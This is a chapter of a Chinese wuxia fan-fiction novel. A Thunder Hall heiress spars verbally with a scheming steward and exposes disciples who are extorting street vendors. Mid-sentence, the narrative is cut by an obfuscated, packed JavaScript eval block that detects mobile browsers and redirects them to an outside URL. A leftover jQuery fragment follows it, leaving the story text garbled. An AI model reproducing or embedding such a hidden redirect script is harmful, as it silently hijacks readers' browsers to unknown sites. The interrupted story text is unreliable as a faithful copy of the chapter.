41.倚老卖老
作品:《[综武侠]艺术就是爆炸》 江南霹雳堂的会客厅。
中堂挂着一幅山水画,画下面摆了张花梨木的八仙桌,桌子两侧摆了同色的椅子,皆漆成素黑色,简朴大方。
后面贴墙摆了两行博古架:架子上素青的花瓶,白玉的如意,石雕,青铜器……样样精致美观。
我坐在八仙桌东侧椅子上,不动声色品茶:,“怎么不合体统?”
雷天名两颗豆子眼贼溜溜转着,把江南霹雳堂待客的大堂里全扫了一遍,才贱贱地笑道:“按规矩来说,动用分堂资源是要问过代掌门的吧?”
有意思,拿规矩来压我。
我端起桌上的茶杯,吹一吹浮沫:“你说的不错。”
“只是雷堂主怎知,我的行动没有得到代掌门授意呢?”我问得意味深长。
雷天名是一个聪明人,如果不聪明也不能把雷万马压得那么死。只是聪明人往往有那样一个毛病——想得多。
尤其是他的举动见不得光的时候。
看到雷天名一瞬间不起眼的慌乱,我心中暗笑。
族长年纪越大越讨厌琐碎杂事,雷万马被雷天名鸠占鹊巢这件事如果被他知道了,定然早就把雷万马调走养马了,还能由得他这么舒坦当杭城总管?
我就是欺负雷天名太久不回霹雳堂,对族长脾气已经忘得差不多了,所以拉虎皮扯大旗吓唬他。
只是这种话也吓不住他多久的,毕竟现在江南霹雳堂在杭州太惨了点,他肯定还要试探。
“二小姐说笑了。”
“容老夫倚老卖老一句:虽然代掌门气量大,但是二小姐也不好背着他老人家私自行事,毕竟掌门雷霆之怒,可没谁承担得起……”雷天名的兔唇微微皱着,做出语重心长的模样来,只有那双转动个不停的老鼠眼能微微透出几分不怀好意来。
“倒是多谢雷堂主提醒了,”我有几分无精打采,似是不耐烦道:“但是代掌门早就嘱咐过我,您就不必担心了。”
“倒是雷堂主虽然离开杭州的江南霹雳堂很久了,但是对堂里情况很了解啊。”
究竟埋了多少钉子啊,雷万马才向我投诚没多久他就来找麻烦了。
“也是拖了万马的福,”雷天名一脸的怀念,拍了拍手边的桌角:“这些还是我当年置办的,没想到这么多年了还是没什么变化,物是人亦在,好事啊。”
好事个屁!拿江南霹雳堂的钱给六分半堂干活!等我收拾了你就把你埋的那些钉子挨个拔出来锤直!
“雷堂主好眼光,当年看上的东西到现在还能用。只是岁月催人老,人总会变的。”
“二小姐说错了,路遥知马力,日久才见人心。”雷天名的眼睛眯了起来。
我抬了抬头,迎向雷天名黑黝黝直利利的眼神,唇角微勾,饶有兴趣。
雷天名对杭州的江南霹雳堂影响很深我能猜得出来,毕竟把雷万马挤兑得不得不投靠我。只是我没想到他居然到现在了还不死心,一直试图离间我对霹雳堂弟子的信任,这家伙真是好贪心。
“雷堂主说得有道理,”我喝了杯茶,笑得意味深长:“只是人心难测,雷堂主可不要大意翻了船。”
“二小姐还年轻,不懂人啊!”雷天名哈哈大笑……
送走专门来恶心我的雷天名,我彻底认为自己可能天生和六分半堂犯冲——我爹手底下的人恶心我就算了,怎么雷震雷时代的人还能恶心到我呢?
旁边路过的江南霹雳堂小弟子看见我气势汹汹的模样都躲得远远的,只有几个觉得机遇险中求的野心勃勃弟子冲着我双眼放光,试图替我分忧。
把这几个倒霉蛋全部记下来,留着以后发配他们去扫厕所。我几步就窜出了江南霹雳堂,接下来却不知道该往哪里去。
阿纯那肯定不行,虽然都在西城离得近。但是阿纯现在忙得脚不沾地,我要是回去,她看我这么悠闲肯定要给我找事干。
花满楼那里也不行,上次他给我那盆寒兰本来开的好好的花剑不知道为什么被我浇了两回水就断掉了,现在一副要死不活的样子,花满楼万一问起来我不好答。
让门口的弟子回去给孙二送个信约他出来喝酒,然后溜达着溜达着我就到了北城。
嗯,这次没迷路。
北城这边还是一如既往的街上没什么人,我大白天大摇大摆地走在这里,再一次回头率拉满。
这次比上次还夸张,有几个摊子盯着我黑黄配色的衣服,居然匆匆地收摊了,看都不敢看我一眼。
还有一个卖馄饨的摊位,因为碳火太笨重来不及跑,见我坐下的时候都快哭出来了。
摊主从白布兜里哆哆嗦嗦掏出来二十来文钱递到我面前,嘴角翕动了半天一句话也没说出来,我正纳闷呢,就远远的听见几个摊主在嘀嘀咕咕:“不是说白天没人来收摊位钱吗,怎么现在收了一回又来,最近一天收好几遍……”
“……”我长得很像收保护费的吗?
尴尬地摆摆手,告诉摊主我是来消费的,让他给我下两碗馄饨。
结果听见隔壁摊嘀咕得更小声了:“完了,这回不光收钱,还要白吃白喝了,别一会儿掀摊子……”
不是,这边帮派都给人留下什么印象了啊……
馄饨上的很快。薄皮大馅,猪肉馅剁成颗粒,混上葱姜,口感嚼劲十足,碗里还滴了两滴香油,喝起来鲜甜美味。
我吃得意犹未尽,一碗罢又要了一碗,摊主看我吃的开心,倒放心不少,第二份明显给我加多了不少分量。
我正要吹凉喝两口馄饨汤,就看着对面街口来了一队同样黑黄配色衣服,只是腰间配着刀,满脸凶神恶煞的大汉。
这些大汉走到哪里,就向那处的摊位伸手要钱,几个动作慢了些的摊主还挨了几巴掌,一个没开张所以拿不出来钱的面摊干脆被踢翻了摊子。
摊主被一个大汉狞笑着抓住领子甩在地面上,随后火红火红的炭炉被那大汉一脚踢倒,就要倒在摊主身上——
“当——”一声闷响。
随后是漫天火炭纷飞,挨个长了
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14922336|157863||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
眼睛似的,落在每个大汉的背上,胳膊上,腿上……烫得他们龇牙咧嘴,漫天哀嚎。
“收钱是收钱,伤人就太过了吧。”我把没了碳火的泥炉一脚踩稳,人则是挡在了面摊摊主前面,顺便手在背后摆了摆,示意摊主快点离开。
“江南霹雳堂办事——”一个因为穿得厚,所以烫的不严重的大汉还有力气发脾气,他听到我的话,立刻高叫出声,只是在看见我身上衣服时,声音戛然而止。
“你们是江南霹雳堂的?”我挑眉,饶有兴趣地问。
大汉哆嗦起来,一句话不敢说。
我叹了口气:“认得出我来,看来你真是雷门的弟子。”
大汉抖得更厉害了。
我拉过面摊的小凳子,像乖巧的小朋友一样坐在上面,手支着下巴,抬脑袋看向他们领头的:
“说吧,怎么回事?”
江南霹雳堂的地盘向来不允许竭泽而渔的,这种一天收好几次保护费的必然是他们自作主张,仗势欺人,不然他们看见我也不会那么怕。
他们领头的那个功夫还不错。
我踢飞碳火炉的时候,他躲得最及时,所以只是烫到了小腿,虽然疼得脸色抽搐,但是却是这些人里受伤较轻的。
“二小姐容秉!”那领头的咬了咬牙,忍着疼低头冲我行了个礼,“弟兄们也是实在没办法了——”
他突然跪下,五体投地行大礼,同时痛哭出声:“这些年堂里是真的没钱啊!为了您要莅临杭州府,光是堂里凑节礼都难倒了一群人……”
“兄弟们都是有妻儿老小要养活的,雷总管这么干实在是没给大家活路,弟兄们也是不得已,一条命卖给堂里都认了,可总不能叫一家老小都饿死……”
这唱念做打,感情丰沛的一通哭诉,把我听得一愣一愣的。
要不是我已经游历江湖多年,不再是初出茅庐的小白,说不定真被他忽悠过去了。
我做出被感动的样子,缓缓点了点头,叹息了一句:“你们也不容易。”
“不过你们这么不容易,雷万马知道吗?”
“要不我叫人请他过来看看你们这些弟兄有多难?”
领头的汉子脸上一僵,牙一咬:“二小姐有所不知!雷万马雷总管是小人!就是他一个人贪了每年的收益,只留三瓜两枣地打发下面的弟兄!请您明察!”
这小子真是个人才啊。
这两面三刀,巧伪趋利的本事可不是常人能做到的,毕竟人只有一张脸皮,这人不一样,他至少得两张。
“你叫什么名字?”我含笑问道。
那领头的汉子还以为我被他感动了,迫不及待地连连点头:“小的家里行三,您喊我老三就行。”
“行,老三。”我拿手指点点他,“我记住你了。”
他顿时喜出望外。
“不过你别高兴得太早啊,”我笑眯眯地提醒他,示意他看向自己身后。
“先把你那套跟你身后的雷总管解释清楚再说吧。”